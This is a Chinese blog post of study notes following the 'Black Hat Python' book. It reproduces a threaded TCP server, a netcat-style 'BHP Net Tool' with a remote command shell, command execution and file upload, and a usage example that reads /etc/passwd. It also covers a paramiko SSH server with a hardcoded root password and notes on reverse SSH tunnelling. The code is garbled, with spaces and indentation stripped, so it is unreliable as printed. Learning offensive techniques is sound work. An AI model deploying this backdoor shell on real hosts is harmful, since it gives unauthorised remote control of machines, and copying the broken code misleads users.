第一章设置Python环境
kali虚拟机
开始用pip安装github3.py，没什么问题
跟着安装WingIDE，下载linux对应位数的版本的deb，就行了，但是产生了依赖
TCP客户端
UDP客户端
TCP服务器
#-*- coding:utf8 -*-
importsocket
importthreading
bind_ip ="0.0.0.0"#绑定ip：这里代表任何ip地址
bind_port =8888
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip, bind_port))
# 最大连接数为5
server.listen(5)
print"[*] Listening on %s:%d"% (bind_ip, bind_port)
# 这是客户处理进程
defhandle_client(client_socket):
#打印出客户端发送得到的内容
request = client_socket.recv(1024)
print"[*] Received: %s"% request
#发送一个数据包
client_socket.send("ACK!")
client_socket.close()
whileTrue:
client,addr = server.accept()
print"[*] Accepted connection from: %s:%d"% (addr[0], addr[1])
#挂起客户端线程，处理传人的数据
client_handler = threading.Thread(target=handle_client, args=(client,))
client_handler.start()
用之前的tcp客户端连接，收到信息了
代码：
[python]view plaincopy
#!/usr/bin/python
#-*- coding:utf8 -*-
importsys
importsocket
importgetopt
importthreading
importsubprocess
# 定义一些全局变量
listen =False
command =False
upload =False
execute = ""
target = ""
upload_destination = ""
port =0
defrun_command(command):
# 删除字符串末尾的空格
command = command.rstrip()
# 运行命令并将输出放回
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except:
output ="Failed to execute command.\r\n"
# 将输出发送
returnoutput
defclient_handler(client_socket):
globalupload
globalexecute
globalcommand
# 检查上传文件
iflen(upload_destination):
# 读取所有的字符并写下目标
file_buffer = ""
# 持续读取数据直到没有符合的数据
whileTrue:
data = client_socket.recv(1024)
ifnotdata:
break
else:
file_buffer += data
try:
file_descriptor = open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
client_socket.send("Successfully saved file to %s\r\n"% upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n"% upload_destination)
# 检查命令执行
iflen(execute):
# 运行命令
output = run_command(execute)
client_socket.send(output)
# 如果需要一个命令行shell,那么我们进入另一个循环
ifcommand:
whileTrue:
# 跳出一个窗口
client_socket.send("")
cmd_buffer = ""
while"\n"notincmd_buffer:
cmd_buffer += client_socket.recv(1024)
# 返回命令输出
response = run_command(cmd_buffer)
# 返回响应数据
client_socket.send(response)
defserver_loop():
globaltarget
# 如果没有定义目标,那我们监听所有接口
ifnotlen(target):
target ="0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
whileTrue:
client_socket, addr = server.accept()
# 分拆一个线程处理新的客户端
client_thread = threading.Thread(target=client_handler, args=(client_socket,))
client_thread.start()
defclient_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# 连接到目标主机
client.connect((target, port))
iflen(buffer):
client.send(buffer)
whileTrue:
# 现在等待数据回传
recv_len =1
response = ""
whilerecv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
ifrecv_len <4096:
break
printresponse
# 等待更多的输入
buffer = raw_input("")
buffer +="\n"
# 发送出去
client.send(buffer)
except:
print"[*] Exception! Exiting."
#关闭连接
client.close()
defusage():
print"BHP Net Tool"
print"Usage: bhpnet.py -t target_host - p port"
print"-l --listen - listen on [host]:[port] for incoming connections"
print"-e --execute=file_to_run -execute the given file upon receiving a connection"
print"-c --command - initialize a commandshell"
print"-u --upload=destination - upon receiving connection upload a file and write to [destination]"
print"Examples:"
print"bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
print"bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
print"bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print"echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135"
sys.exit(0)
defmain():
globallisten
globalport
globalexecute
globalcommand
globalupload_destination
globaltarget
ifnotlen(sys.argv[1:]):
usage()
# 读取命令行选项,若没有该选项则显示用法
try:
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
exceptgetopt.GetoptError as err:
printstr(err)
usage()
foro,ainopts:
ifoin("-h","--help"):
usage()
elifoin("-l","--listen"):
listen =True
elifoin("-e","--execute"):
execute = a
elifoin("-c","--commandshell"):
command =True
elifoin("-u","--upload"):
upload_destination = a
elifoin("-t","--target"):
target = a
elifoin("-p","--port"):
port = int(a)
else:
assertFalse,"Unhandled Option"
#我们是进行监听还是仅从标准输入读取数据并发送数据？
ifnotlistenandlen(target)andport >0:
# 从命令行读取内存数据
# 这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D
buffer = sys.stdin.read()
# 发送数据
client_sender(buffer)
# 我们开始监听并准备上传文件,执行命令
# 放置一个反弹shell
# 取决于上面的命令行选项
iflisten:
server_loop()
#调用main函数
main()
一开始没在前头打python，默认是不是用python解析运行的，所以会出错，kali就会变成截图了
下面的客户端连接时，连接后要按CTRL+D让其返回shell
用法: ./文件名.py [localhost] [localport] [remotehost] [remoteport] [receive_first] //最后一个参数是 是否从远程服务器（主机）接收数据
首先安装paramiko模块，还是去了点小问题，好像是安装过了吧，要我升级一下？
为了适应非默认端口，改了一下作者的客户端代码，修改处已圈出
class Server(paramiko.ServerInterface):
def __init__(self):
self.event=threading.Event()
def check_channel_request(self, kind, chanid):
ifkind== 'session':
return paramiko.OPEN_SUCCEEDED
def check_auth_password(self, username, password):
if (username== 'root') and (password== 'lovepython'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
这样即可认证成功，但之后执行命令又出现问题了，
报错如下：
paramiko.ssh_exception.SSHException: Channel closed.
知道的可以继续留言，感谢各位的交流和学习，虽然好久没搞web 了
ssh隧道
建议看一下这篇文章，你会对ssh隧道的理解更直观，我的理解简单来说就是一条管道，其实别人说隧道也觉得差不多啦
http://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html
在本地用locate命令找不到paramiko的示例文件rforward.py，最终通过谷歌终于找到了，原来在github上：https://github.com/paramiko/paramiko/tree/master/demos，之前那个test_rsa.key文件也在上面了
并不能连接，出错了（说是拒绝），详见下图最后一行
python rforward.py192.168.88.102-p5556-r10.10.10.145:22--user pi --password
Windows和Linux上的包嗅探
更新中........
